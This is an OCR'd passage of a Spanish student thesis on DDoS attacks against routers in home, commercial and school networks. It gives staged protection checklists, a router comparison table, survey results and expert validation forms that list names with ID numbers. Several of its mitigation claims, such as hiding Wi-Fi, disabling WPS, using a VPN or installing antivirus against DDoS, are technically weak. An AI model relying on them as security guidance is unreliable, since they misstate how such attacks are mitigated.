Si el ataque persiste, debemos ingresar a la IP de nuestro dispositivo a través de un

navegador por ejemplo 192.168.1.1.
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10. Ingresar Usuario y Contrasefia del dispositivo ADSL-Huawei HG531

11. Dar clic en Advanced y Firewall.

12. Activar la opcion de DoS attack.

13. Si el ataque persiste, comunicarse con el Proveedor el cual establecerd el dispositivo
0 a la vez nos dara seguridad para detener el ataque.

14. Para mayor seguridad instalamos antivirus en nuestros dispositivos y contrataremos

un firewall de proteccion.

v' Larevision

Esta etapa es la finalizacion del Manual de seguridad el cual permitira realizar una revision

de los dispositivos afectados por dicho ataque.

15. Verificar nuestro servicio de internet a través del envio de paquetes.

16. Revisar si nuestros dispositivos estan libres de archivos maliciosos para eliminarlos.
17. Cambiar el nombre y contrasefia de nuestro dispositivo afectado.

18. Revisar que nuestro dispositivo se encuentre bien configurado.

19. Preparar y controlar nuestro sistema de red por futuros ataques DDoS.

5.1.4.3.Manual de Seguridad ante ataques DDoS a una red comercial

El manual de la red comercial realizada en la Isla de la Universidad Técnica de Cotopaxi tiene

como objetivo proteger dicha red.

v" Estado Normal

En esta etapa verificaremos que nuestros dispositivos se encuentren seguros lo cual

permitira evitar un ataque DDoS.

1.
2.

Verificar si nuestros servicios de internet estan totalmente disponibles.

Comprobar que nuestros dispositivos se encuentren correctamente conectados, analizar
los puertos que estén abiertos.

Analizaremos el nivel de trafico de red que llega a nuestros dispositivos como por
ejemplo el ancho de banda en bits por segundo, paquetes por segundo o peticiones por
segundos.

Detectar si nuestros dispositivos no contienen archivos maliciosos o virus.
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5. Posteriormente observaremos que nuestros dispositivos (computadores) estén
actualizados o tengan activadas todas las seguridades por ejemplo la activacion de un

antivirus.

v Ataque al dispositivo
En la etapa de violacién de Seguridad o ataque del dispositivo debemos tener en cuenta que

nos vemos inmiscuidos a un ataque DDoS por lo cual debemos tener en cuenta lo siguiente:

6. Verificar que los dispositivos conectados tengan conexion rapida y segura, en el caso
de que exista pérdida de servicios de internet.

7. Comprobar que ninguna maquina utilizada por el cliente se encuentre afectada por algln
archivo malicioso.

8. Ingresar a los comandos o cmd de Windows, o también a través de otras herramientas

para verificar y detectar que somos victimas de este ataque.

v" Proteccion o Restauracion
En la etapa 3 del manual de seguridad para el sistema de la red educativa tomaremos en
cuenta protecciones que permitira tanto deshabilitar el ataque recibido como para obtener

una proteccion y estar preparados a futuros ataques DDoS.

9. Deshabilitar el funcionamiento del dispositivo que se vea afectado en este caso del
dispositivo Nebula 300 plus

10. Reiniciar todos los dispositivos que se encuentren en la red.

11. Contactar con TI si el local cuenta con un experto o con el proveedor del dispositivo.

12. Ocultar la IP de nuestro dispositivo a través de un VPN.

13. Actualizar nuestras maquinas mediante antivirus robustos.

v' Larevisién
Esta etapa es la finalizacion del Manual de seguridad el cual permitira realizar una revision

de los dispositivos afectados por dicho ataque.

14. Verificar nuestro servicio de internet a través del envio de paquetes.
15. Instalar softwares que permitan desinstalar archivos maliciosos cada 24 horas.
16. Cambiar el nombre y contrasefia de nuestro dispositivo afectado.
17. Revisar que nuestro dispositivo central se encuentre bien configurado.
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18. Instalar cortafuegos o firewalls que permitan protegerse de ataques DDoS.

5.1.4.4.Manual de Seguridad ante ataques DDoS en una red educativa

El presente manual tiene como objetivo proteger nuestra red educativa (Unidad Educativa

Machachi) con un dispositivo Cisco ante un ataque DDoS, el cual puede causar una deteccion

de nuestros servicios de internet. Para la realizacion de este manual la dividiremos en cuatro

partes: el estado normal, ataque al dispositivo, la proteccion y restauracion, y posteriormente la

revision.

v' Estado Normal.

En esta etapa verificaremos que nuestros dispositivos se encuentren seguros lo cual

permitira evitar un ataque DDoS.

1.
2.

Verificar si nuestros servicios de internet estan totalmente disponibles.

Comprobar que nuestros dispositivos se encuentren correctamente conectados,
analizar los puertos que estén abiertos

Analizaremos el nivel de trafico de red que llega a nuestros dispositivos como por
ejemplo el ancho de banda en bits por segundo, paquetes por segundo o peticiones por
segundos.

Detectar si nuestros dispositivos no contienen archivos maliciosos o virus.
Posteriormente observaremos que nuestros dispositivos (computadores) estén
actualizados o tengan activadas todas las seguridades por ejemplo la activacion de un

antivirus.

v Ataque al dispositivo.

En la etapa de violacion de Seguridad o ataque del dispositivo debemos tener en cuenta que

nos vemos inmiscuidos a un ataque DDoS por lo cual debemos tener en cuenta lo siguiente:

6.

Verificar que nuestro servicio de internet contiene problemas de conexion o a la vez
lentitud al cargar ciertas paginas.

Si descargamos un archivo malicioso nos vemos vulnerables por lo cual debemos
eliminarlo si estamos en medio de este ataque.

Ingresar a los comandos o cmd de Windows, o también a través de otras herramientas

para verificar y detectar que somos victimas de este ataque.
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v Proteccion o Restauracion.
En la etapa 3 del manual de seguridad para el sistema de la red educativa tomaremos en
cuenta protecciones que permitira tanto deshabilitar el ataque recibido como para obtener

una proteccion y estar preparados a futuros ataques DDoS.

9. Deshabilitar el funcionamiento del dispositivo que se vea afectado en este caso del
dispositivo Cisco Linksys E900.

10. En este caso en la unidad educativa Machachi no se encontr6 problemas al atacar con
el Router cisco ya que tiene una buena seguridad no tiene ni puertos abiertos.

11. Si queremos hacerle mas seguro a nuestro Router podriamos poner una contrasefia

mas robusta con mayusculas, nimeros, signos y asi no podremos ser victimas.

v' Larevision.
Esta etapa es la finalizacion del Manual de seguridad el cual permitira realizar una revision

de los dispositivos afectados por dicho ataque.

12. Verificar nuestro servicio de internet a través del envio de paquetes.

13. Revisar si nuestros dispositivos estan libres de archivos maliciosos para eliminarlos.
14. Cambiar el nombre y contrasefia de nuestro dispositivo afectado.

15. Revisar que nuestro dispositivo se encuentre bien configurado.

16. Controlar diariamente nuestro sistema de red.

17. Prepararse adecuadamente por posibles ataques DDoS.
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6. ANALISIS Y DISCUSION DE LOS RESULTADOS.

Los resultados obtenidos cuando se realizé la practica con una maquina fisica y maquinas
virtuales se pudo determinar la realizacion de sistemas de red domeésticos, red comercial y
educativo utilizando configuracion con IP y asi generando ataques DDoS, lanzando paquetes
de una maquina virtual al servidor o al dispositivo que permite enviar internet. También se
realizaron distintas protecciones con diferentes formas como una comunicacion al técnico de
informacion, la posible actualizacion de los firewalls de los Router, el ocultamiento de la red

Wi-FI, entre otras.

v COMPARACION DE RESULTADOS
Con los resultados obtenidos se pudo determinar que existen Routers con mayor seguridad
y con poca seguridad a continuacion se observara una pequefia comparacion entre los 4

Routers que se utilizo en la practica.
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Tabla 2. Comparacion de Resultados.

MUY DEBIL

DEBIL

MEDIO SEGURO

SEGURO

Router Nebula
300plus.

Router ADSL-
Huawei HG531.

Router Tp-Link
fe66.

Router Cisco
Linksys E900.

Este dispositivo fue
el mas débil ya que
su seguridad
interna es mas
vulnerable a un
ataque distribuido
de denegacion de
servicio (DDoS).

Este dispositivo fue
uno de los mas
débiles al momento
de realizar las
practicas ya que
existian puertos
abiertos y estaba
habilitado la
funcién del WPS y
es vulnerable a
sufrir un ataque
distribuido de
denegacién de

servicio.

Este dispositivo fue
unos de los que no
sufrieron tanto
dafio al momento
de atacar por lo que
existen ciertas
formas de
proteccion como:

1. Actualizacion
del firewall.

2. quitar usuarios
extrafos de la
red.

3. Usar una
contrasefia
robusta que
contenga
minimo 30
caracteres
combinados
como nimeros,

letras y signos.

Este dispositivo no
sufrio ningln
ataque al momento
de enviar los
paquetes por lo que
la el routers cisco
posee con varias
formas de
proteccion como:
1. Al momento
de atacar podemos
bloquear las
puertas de enlace.
2. Ningun
puerto esta abierto
ya que no se podria
enviar paquetes al
momento de atacar.
3. Los
firewalls estan

actualizados al dia.

Fuente: Grupo Investigativo
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7.2.

CONCLUSIONES Y RECOMENDACIONES

Conclusiones

La investigacion bibliografica previamente realizada permitié obtener informacién
valiosa la cual sirvid para crear un sistema de red capaz de detectar y evaluar los ataques
DDoS y sus diferentes tipos de protecciones que se encargan de mitigar la red de internet
privada.

Con la implementacion de un sistema de red ejecutado durante la préactica se logrd
realizar varios ataques en los diferentes tipos de ambientes estrictamente controlados
dando paso a la rapida deteccion de routers mas seguros que otros, siendo el mas
afectado y vulnerable el Nebula 300 plus ya que satura rapidamente el servicio de red.

Con la evaluacion de los ataques DDoS se pudo identificar las diferentes formas de
proteccion que existen para todos los router en los diferentes ambientes como ocultar la
red wi-fi (previene que usuarios externos o desconocidos puedan tener acceso a la
misma), desactivar el wps en el router (impide que individuos se conecten al Wi-fi
automaticamente), bloqueo de dispositivos externos (el duefio de la red puede excluir a
usuarios desconocidos).

Recomendaciones

Indagar maultiples sitios bibliograficos o webs enfocados en los ataques DDoS creando
asi una variedad de informacion importante para la mitigacion de ataques, a través de
protecciones como: antivirus, firewall, entre otras.

Analizar minuciosamente el funcionamiento de la evaluacién de ataques para que no
existan inconvenientes al momento de su ejecucion.

Capacitar y dar proteccion a personas que utilicen este tipo de sistemas de red en
tematicas de seguridad informatica con la finalidad de reducir y mitigar el riesgo de
ataques DDoS.
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9.2. Anexo 2 Evaluacion de ataques DDOS.

Evaluacion de ataques DDoS en los diferentes ambientes controlados.

Evaluacion de Ataque a una red Comercial, dispositivo Atacado Router Nebula300plus

Figura 95: Ataque DDoS en una Red Comercial (Cyber UTC)

Fuente: Grupo Investigativo
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Evaluacién de ataque en una red educativa, Dispositivo atacado Router Cisco Linksys E900

Figura 96. Ataque DDoS en una red Educativa

Fuente: Grupo Investigativo

=

Figura 97. Laboratorio de Tics en la red Educativa

Fuente: Grupo Investigativo
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Evaluacidn de ataque en una red doméstica, Dispositivo atacado Router Tp-Link TL-
WR840N y Router ADSL Huawei HG531

Figura 98. Ataque DDoS en una red Doméstica 1

Fuente: Grupo Investigativo

Figura 99. Ataque DDoS en una red Doméstica 2

Fuente: Grupo Investigativo
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9.3. Anexo 3 Ficha bibliogréfica.

Tabla 3. Ficha Bibliogréfica 1

FICHA BIBLIOGRAFICA 1

Autor: Jorge Luis Macias Pincay
Aiio de publicacion 2017
Titulo: Evaluar los ataques DDgS a un sistema de

red v sus diferentes formas de protecciéon
en un ambiente doméstico, comercial v
educativo mediante la implementacion de
protecciones para contrarrestar los
problemas de seguridad informatica.

Lugar y editorial:

Jipijapa Manabi/Universidad estatal del
sur de Manabi

Fuente: Grupo Investigativo

Tabla 4. Ficha bibliografica 2

FICHA BIBLIOGRAFICA 2
Autor: Jessica Estefania Baez Cheza
Aiio de publicaciéon 2021
Titulo: Metodologia de deteccion y mitigacion de

ataques ddos en entornos sdn basado en la
norma iso/lec 27001 para mejorar la
seguridad en el plano de control.

Lugar y editorial:

Ibarra Ecuador/ Universidad Técnica del
Norte

Fuente: Grupo Investigativo
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Tabla 5. Ficha bibliografica 3

FICHA BIBLIOGRAFICA 3
Autor: William Sarmiento v Elkin Rodriguez.
Ao de publicacion 2019
Titulo: Ataques vy  seguridad, Metasploif

(Definicion de una  metodologia
personalizada de Hacking ético para
empresas publicas de Cundinamarca vy
ejecucion de una prueba a la pagina web y
a los servidores de la entidad, soportada
sobre la metodologia definida).

Lugar y editorial: Colombia Bogotd/ Universidad Catélica
de Colombia

Fuente: Grupo Investigativo

Tabla 6. Ficha bibliogréfica 4

FICHA BIBLIOGRAFICA 4
Autor: Autores Ricardo Gonziles Avilés
Guzman.
Miguel Angel Silva Uria.
Aiio de publicacién 2017
Titulo: Implementacion de un modelo de

seguridad para control de
accesos a la red de datos, evaluando
herramientas de hacking ético.

Lugar v editorial: Quito Ecuador/Universidad catolica del
Ecuador

Fuente: Grupo Investigativo
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9.4. Anexo 4 Tabulacion de encuesta.
ANALISIS Y TABULACION DE LA ENCUESTA

Pregunta N°1. ¢Usted tiene conocimiento acerca de lo que es un ataque distribuido de

denegacion de servicios (DDoS)?

Tabla 7. Frecuencia y porcentaje de la pregunta 1 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 25 46,3
No 29 53,7
Total 54 100

Fuente: Grupo investigativo

® Si
@® No

Figura 100. Gréfico del porcentaje de la pregunta 1 de la encuesta realizada
Fuente: Grupo Investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 46.3%
es un ataque distribuido de denegacion de servicios mientras que un 53.7% se refirié a que no
tiene conocimiento que es esto, y con incertidumbre indican que ellos tendrian que saber para

qué sirve un ataque distribuido de denegacién de servicios.
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Pregunta N°2. ;Considera usted que su sistema de red (Internet) es vulnerable a

ataques distribuidos de denegacién de servicios (DDoS)?

Tabla 8. Frecuencia y porcentaje de la pregunta 2 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 35 64.8
No 19 35.2
Total 54 100

Fuente: Grupo Investigativo

® Si
@ No

Figura 101. Gréfico del porcentaje de la pregunta 2 de la encuesta realizada
Fuente: Grupo Investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indicé que el 64.8%
se, expresaron que su sistema de red (internet) estd vulnerable a un ataque distribuido de
denegacion de servicios (DDoS), mientras que el 35.2% indico que se encuentra en estado de
no ser atacados en su sistema de red (internet) a un ataque distribuido de denegacién de
servicios (DDoS).
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Pregunta N°3. ¢Usted sabe qué dafio causaria un ataque distribuido de denegacion de

servicios (DDoS)?

Tabla 9. Frecuencia y porcentaje de la pregunta 3 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 19 35,2
No 35 64,8
Total 54 100

Fuente: Grupo investigativo

@ Si
® No

Figura 102. Gréfico del porcentaje de la pregunta 3 de la encuesta realizada
Fuente: Grupo investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 35.2%
se, expresaron que si saben cuanto dafio causaria un ataque distribuido de denegacion de
servicios, mientras que el 64.8% determind que no saben qué dafio causaria un ataque

distribuido de denegacion de servicios.
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Pregunta N°4. ;Conoce usted si su sistema de red (Internet) cuenta con una defensa
contra estos y otros ataques?

Tabla 10. Frecuencia y porcentaje de la pregunta 4 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 13 24,1
No 41 75,9
Total 34 100

Fuente: Grupo Investigativo

® Si
® No

Figura 103. Gréfico del porcentaje de la pregunta 4 de la encuesta realizada
Fuente: Grupo investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 24.1%
se, expresaron que si cuentan con varias defensas de proteccion en su sistema de red (Internet),
mientras que el 75.9% indic6 gue se encuentra en estado de vulnerabilidad y no cuentan con
protecciones ante su sistema de red (Internet).
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Pregunta N°5. ¢Conoce usted distintas formas de proteccidn para este tipo de ataques
distribuidos de negacién de servicios?

Tabla 11. Frecuencia y porcentaje de la pregunta 5 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 18 333
No 36 66,7
Total 54 100

Fuente: Grupo Investigativo

@® Si
@® No

Figura 104. Gréfico del porcentaje de la pregunta 5 de la encuesta realizada

Fuente: Grupo Investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 33.3%
se, expresaron que, si saben distintas formas de proteccion ante un ataque distribuido de
denegacion de servicios, mientras que el 66.7% determind que no saben cdmo protegerse ante

un ataque distribuido de denegacion de servicios.
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Pregunta N°6. ¢Usted tiene conocimiento acerca de la seguridad informética?

Tabla 12. Frecuencia y porcentaje de la pregunta 6 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 29 53,7
No 25 46,3
Total 54 100

Fuente: Grupo Investigativo

@ Si
@ No

Figura 105. Gréfico del porcentaje de la pregunta 6 de la encuesta realizada

Fuente: Grupo Investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 53.7%
se, expresaron que, si tienen conocimiento acerca de la seguridad informética, mientras que el

46.3% determino que no saben acerca de la seguridad informatica.
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Pregunta N°7. ¢Considera usted que es correcto realizar practicas sobre seguridad

informatica?

Tabla 13. Frecuencia y porcentaje de la pregunta 7 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 53 98.1
No 1 1.9
Total 54 100

Fuente: Grupo Investigativo

® Si
@ No

Figura 106. Gréfico del porcentaje de la pregunta 7 de la encuesta realizada

Fuente: Grupo Investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 98.1%
se, expresaron que, si es correcta realizar practicas sobre seguridad informética, mientras que

el 1.9% determind que no es correcto realizar practicas sobre seguridad informética.
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Pregunta N°8. ¢Cree usted que es necesario trabajar con ejercicios practicos de

Ataques a dispositivos como Routers, para asi saber como contrarrestarlos?

Tabla 14. Frecuencia y porcentaje de la pregunta 8 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 52 96.3
No 2 3,7
Total 54 100

Fuente: Grupo Investigativo

@ Si
@ No

Figura 107. Gréfico del porcentaje de la pregunta 8 de la encuesta realizada
Fuente: Grupo investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 96.3%
se, expresaron que, si es correcto realizar practicas como Routers para contrarrestar ataques
informaticos, mientras que el 3.7% determinG que no es correcto realizar précticas en

dispositivos ante ataques informaticos.

118



Pregunta N°9. ¢;Considera usted que se deberia realizar practicas evaluando ataques
DDoS?

Tabla 15. Frecuencia y porcentaje de la pregunta 9 de la encuesta realizada

FRECUENCIA PORCENTAJE

Si 51 94.4
No 3 5,6
Total 54 100

Fuente: Grupo Investigativo

® S
@® No

e

Figura 108. Grafico del porcentaje de la pregunta 9 de la encuesta realizada
Fuente: Grupo Investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 94.4%
se, expresaron que, si es correcto realizar practicas evaluando ante un ataque distribuido de
denegacion de servicio, mientras que el 5.6% determind que no es correcto realizar practicas y

evaluar ante un ataque distribuido de denegacion de servicio.
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Pregunta N°10. ¢Cree usted conveniente la ensefianza sobre las distintas formas de

proteccion de un dispositivo cuando se vea vulnerable ante ataques DD0oS?

Tabla 16. Frecuencia y porcentaje de la pregunta 10 de la encuesta realizada

FRECUENCIA PORCENTAJE
Si 51 94.4
No 3 5.6

Total 54 100

Fuente: Grupo Investigativo

® S
® No

]

Figura 109. Gréfico del porcentaje de la pregunta 10 de la encuesta realizada
Fuente: Grupo Investigativo

ANALISIS E INTERPRETACION

Con los resultados que obtuvieron al momento de realizar la encuesta se indico que el 94.4%
se, expresaron que, si es correcto realizar charlas sobre las distintas formas de proteccion ante
un ataque distribuido de denegacidn de servicio, mientras que el 5.6% determin6 que no es
correcto realizar charlas sobre las distintas formas de proteccion ante un ataque distribuido de

denegacion de servicio.
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9.5.

Validacion de experto

Anexo 5 Validacion de expertos.

Validador de experto 1

INFORME DE OPINION DE EXPERTOS

1. DATOS GENERALES:

e Nombres del Experto:
e Grado Académico.

e  Profesién:

e Institucion donde labora:

e Cargo que desempeiia:

2. TEMA DE INVESTIGACION A VALIDAR

Freddy Manuel Andrango Veldsquez

Magister en Educacién

Ingeniero en Informética

Coonecta

Monitor de Sistemas

EVALUACION DE ATAQUES DDOS A UN SISTEMA DE RED Y SUS
DIFERENTES FORMAS DE PROTECCION

3. TABLA DE VALIDACION
INDICADORES DE _s Y
EVALUACION = |g |3 |§ |28
CRITERIOS g S |2 |2 | =R
1 2 3 4 5
1. Claridad de la Esti formulada conun
investigacion lenguaje apropiado que X
facilita su comprension.
2. Objetividad de la Esta expresada en conductas
Investigacion observables y medibles. X
3. Consistenciade la | Existe una organizacién
Investigacion légica en los contenidos y
relacién con la teorfa X
4. Coherencia de la Existe relacién de los
Investigaci6n contenidos con las
metodologias de p <
investigacién
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5. Pertinencia de la
Investigacion

Existe pertinencia de la
investigacién con la
realidad de los ataques
DDoS y las posibles
soluciones ante estos,

SUMATORIAPARCIAL | 0 | 0 | 0
SUMATORIA TOTAL 2
RESULTADOS DE LA VALIDACION

Valoracion total cuantitativa: 24

Opinién: FAVORABLE X DEBE MEJORAR

NO FAVORABLE

Observaciones:

El proyecto de investigacion acerca de evaluacion de ataques DDoS a sistemas de
red y sus diferentes formas de proteccién si cumple con los objetivos planteados ya
que en la actualidad existe un aumento de este tipo de ataques tanto en empresas,
organizaciones o centros educativos y las estrategias de defensa planteadas si

completan con lo pedido lo cual evitarin un incremento de este tipo de ataques
DDoS y evitar pérdidas econémicas.

Firma:

e

Freddy ngo Velasquez

C.C. 1717420903
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Freddy
Andrango

C.1: 1717420003

¢ COONECTA

ANSACCIONAL
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Experto 2

INFORME DE OPINION DE EXPERTOS

1. DATOS GENERALES:

*  Nombres del Experto: Quishpe Pila Jorge Paul

e Grado Académico.

Ingenicro
*  Profesion: Ingenicro en informética
* Institucion donde labora: Ministerio de Educacién
*  Cargo que desempeiia: Analista en Sistemas

2. TEMA DE INVESTIGACION A VALIDAR

EVALUACION DE ATAQUES DDOS A UN SISTEMA DE

RED Y SUS
DIFERENTES FORMAS DE PROTECCION
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3. TABLA DE VALIDACION

INDICADORES DE o .
EVALUACION 3 s 2 |E | 2§
CRITERIOS P |2 |3 |8 [23
=
|
1 2 3 7
Claridad de la Estd formulada con un
investigacion lenguaje apropiado que X
facilita su comprension.
Objetividad de la Esta expresada en conductas
Investigacién observables y medibles. X
Consistencia de la | Existe una organizacion
Investigacién I6gica en los contenidos y
relacién con la teorfa X
Coherencia de la Existe relacion de los
Investigacién contenidos con las
metodologias de X
investigacién
Pertinencia de la Existe pertinencia de la
Investigacién investigacion con la
realidad de los ataques
DDoS y las posibles X
soluciones ante estos.
SUMATORIA PARCIAL | 0 0 4 20
SUMATORIA TOTAL 24

RESULTADOS DE LA VALIDACION

Valoracién total cuantitativa: 24

Opinién: FAVORABLE X DEBE MEJORAR

NO FAVORABLE
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Observaciones:

La investigacion y evaluacién del proyecto ataques DDoS, enfocada a los sistemas
y redes cumple con la funcién de brindar un sin nimero de opciones de proteccion,
los cuales cumplen correctamente lo planteado, evitando asi los ataques en los
diferentes tipos de ambientes laborales como: domésticos, comerciales o

instituciones educativas, estos evitan completamente el aumento de los distintos

ataques DDoS, reduciendo las pérdidas econémicas que puedan presentar los

individuos que conforman dichas entidades.

Quishpe Pila Jorge Paul
C.C. 1720255695
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